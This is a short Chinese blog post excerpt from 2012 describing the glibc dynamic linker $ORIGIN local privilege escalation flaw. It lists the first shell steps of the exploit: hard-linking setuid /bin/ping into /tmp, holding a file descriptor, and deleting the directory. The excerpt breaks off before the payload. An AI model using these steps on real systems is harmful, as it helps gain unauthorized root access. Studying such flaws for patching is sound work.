GNU glibc动态连接器$ORIGIN本地权限提升漏洞

2012-1-16 王健宇 Linux

root下添加一个testuser1帐户
设置密码
su testuser1
cd ~
mkdir -p /tmp/ex1
ln /bin/ping /tmp/ex1/target
exec 3< /tmp/ex1/target
rm -rf /tmp/ex1
再执行
ls -l /proc/$$/fd/3
显示
lr-x------ 1 testuser1 testuser1 64 Dec ...

阅读全文>>

标签: glibc2提权

评论(0) 浏览(2628)

Powered by emlog sitemap